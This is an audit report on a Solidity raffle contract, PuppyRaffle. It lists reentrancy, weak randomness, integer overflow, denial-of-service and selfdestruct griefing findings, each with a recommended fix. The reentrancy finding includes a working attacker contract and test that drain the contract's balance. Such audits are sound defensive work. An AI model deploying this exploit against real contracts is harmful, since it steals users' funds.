Puppy Raffle Audit Report

Version 0.1

Manar Maher

May 1, 2024

Puppy Raffle Auditing Report

Manarmaher1

May 1, 2024

Puppy Raffle Audit Report

Prepared by: Manar Maher
Lead Auditor: Manar Maher

Table of contents

See table

- Findings
  - High
  - Medium
  - Informational / Non-Critical
  - Gas (Optional)

Disclaimer

Manarmaher1 makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time- boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

Commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope:

```
./src/
|_ PuppyRaffle.sol
```

Protocol Summary

The Puppy Raffle protocol allows users to enter a raffle to win a cute dog NFT by providing an address list, with the ability to request refunds for their entries. Periodically, a winner is selected, and the prize funds are distributed between the protocol owner (as a fee) and the winner, who receives the NFT and the remaining funds.

Roles

Owner : Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
Player :Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	0
Info	6
Total	0

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain contract balance

Description: The `PuppyRaffle::refund` function does not follow CEI guildine or the checks, effects, interaction. Which would cause a user to keep keep calling the function before the balance is updated, and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address, and only after making that external call, we update the `players` array.

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(playerAddress == msg.sender, "PuppyRaffle: Only the player
           can refund");
4      require(playerAddress != address(0), "PuppyRaffle: Player already
           refunded, or is not active");
5
6  @>  payable(msg.sender).sendValue(entranceFee);
7
8  @>  players[playerIndex] = address(0);
9      emit RaffleRefunded(playerAddress);
10 }
```

Impact: A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could do this repeatedly until the whole balance is drained.

Proof of Concept:

1. Users enters the raffle.
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`.
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their contract, draining the contract balance.

Proof of Code:

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(address _puppyRaffle) {
        puppyRaffle = PuppyRaffle(_puppyRaffle);
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    fallback() external payable {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }
}

function testReentrance() public playersEntered {
    ReentrancyAttacker attacker = new ReentrancyAttacker(address(
       puppyRaffle));
    vm.deal(address(attacker), 1e18);
    uint256 startingAttackerBalance = address(attacker).balance;
    uint256 startingContractBalance = address(puppyRaffle).balance;

    attacker.attack();

    uint256 endingAttackerBalance = address(attacker).balance;
```

```
35      uint256 endingContractBalance = address(puppyRaffle).balance;
36      assertEq(endingAttackerBalance, startingAttackerBalance +
            startingContractBalance);
37      assertEq(endingContractBalance, 0);
38  }
```

Recommended Mitigation: Consider following the check effects interaction guideline by making sure the state or the balance is updated before making any external calls, and as security best practices consider adding a reentrancy guard.

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows anyone to choose a winner

Description: The `PuppyRaffle::selectWinner` function uses manual hashing by using `msg.sender`, `block.timestamp`, `block.difficulty` to create a predictable final number. An attacker can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Impact: An attacker can choose the winner of the raffle, winning the money and selecting the "rarest" puppy NFT.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that knowledge to predict when / how to participate.
2. Users can manipulate the `msg.sender` value to result in their index being the winner.

Also it's not advisable to use on-chain values as a randomness seed as it imposes a big risk for well-known potential attacks.

Recommended Mitigation: Consider using a trusted oracle to generate random numbers like Chainlink VRF.

[H-3] Integer overflow in `PuppyRaffle::totalFees` resulting in loss of funds

Description: The `PuppyRaffle::selectWinner` function uses simple division to calculate the prize pool and fee and meanwhile the `fee` amount is forced cast to an uint64 variable, which means, considering the maximum value that can be stored in an uint63 var, any value greater than 18eth will cause an integer overflow and in result a loss of funds.

Impact: If the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract and resulting in a loss of funds.

Proof of Code: 1) We start a raffle of 4 players to collect some fees

2) We then have 89 additional players enter a new raffle

3) We end that raffle

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to the require check in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Recommended Mitigation:

1) Consider using a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

2) Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

3) Use a `uint256` instead of a `uint64` for `totalFees`.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

4) Remove the balance check in `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Medium

[M-1] In `PuppyRaffle::enterRaffle` a player can loop through the array, incrementing the gas cost per player and potentially causing a denial of service attack.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle:players` array is, the more checks a new player will have to make. This means that the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

Impact: The gas costs for the raffle entrants will greatly increase as more players enter the raffle. And potentially increasing the chases of Front-running opportunities as malicious users will try to enter the raffle early.

Proof Of Code

Place the following test into `PuppyRaffleTest.t.sol`.

```
function testReadDuplicateGasCosts() public {
        vm.txGasPrice(1);

        // 5 players will enter the raffle the raffle
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        // the initial gas cose
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the 1st 100 players:", gasUsedFirst);

        // 5 more players will enter the raffle
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i + playersNum);
        }
        // the cose of gas after the second patch of players
        gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        gasEnd = gasleft();
        uint256 gasUsedSecond = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the 2nd 100 players:", gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
        // Logs:
        //     Gas cost of the 1st 100 players: 6252039
```

```
31          //     Gas cost of the 2nd 100 players: 18067741
32  }
```

Recommended Mitigation:

1) Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2) Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a `uint256` id, and the mapping would be a player address mapped to the raffle Id.
3) you could also use OpenZeppelin's `EnumerableSet` library.

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
1       function withdrawFees() external {
2   @>      require(address(this).balance == uint256(totalFees), "
        PuppyRaffle: There are currently players active!");
3           uint256 feesToWithdraw = totalFees;
4           totalFees = 0;
5           (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6           require(success, "PuppyRaffle: Failed to withdraw fees");
7       }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
1       function withdrawFees() external {
2   -       require(address(this).balance == uint256(totalFees), "
        PuppyRaffle: There are currently players active!");
3           uint256 feesToWithdraw = totalFees;
4           totalFees = 0;
5           (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6           require(success, "PuppyRaffle: Failed to withdraw fees");
7       }
```

[M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Recommended Mitigation: There are a few options to mitigate this issue.

1. It's not recommended to allow smart contract entrants.
2. Consider creating a mapping of addresses -> payout so winners can pull their funds out themselves, allowing the winner to claim their prize

Informational / Non-Critical

[I-1] Solidity Pragma should be specific and not wide

Description: Consider using a specific version of solidity in your contract instead of a wide version, An incorrect version could lead to unwanted results.

Recommended Mitigation: Lock up pragma versions.

```
- pragma solidity ^0.7.6;
+ pragma solidity 0.7.6;
```

[I-2] using an outdated version of Solidity is not recommended.

Please consider using a newer version of Solidity like`0.8.18`

[I-3] Using of Magic Numbers is not recommended

Description: It can be confusing to see number literals in a codebase, so to make the code more readable and easier to maintain , number literals should be replaced with constants.

Recommended Mitigation: Replace all magic numbers with constants.

```
+       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+       uint256 public constant FEE_PERCENTAGE = 20;
+       uint256 public constant TOTAL_PERCENTAGE = 100;
.
.
.
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;
         uint256 prizePool = (totalAmountCollected *
            PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
         uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
            TOTAL_PERCENTAGE;
```

[I-4] Missing checks for `address(0)` when assigning values to address state variables

Description: Assigning values to address state variables without checking for `address(0)`

```
PuppyRaffle.constructor(uint256,address,uint256)._feeAddress (src/
    PuppyRaffle.sol)
                - feeAddress = _feeAddress (src/PuppyRaffle.sol)
PuppyRaffle.changeFeeAddress(address).newFeeAddress (src/PuppyRaffle.
    sol
                - feeAddress = newFeeAddress (src/PuppyRaffle.sol)
```

Recommended Mitigation: Consider adding a zero address check whenever the `feeAddress` is updated.

[I-5] _isActivePlayer is never used.

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

[I-6] Unchanged variables should be constant or immutable

Description: Reading from storage is much more expensive than reading from constant or immutable variables

```
PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant
PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be
    constant
PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant
```

```
PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable
```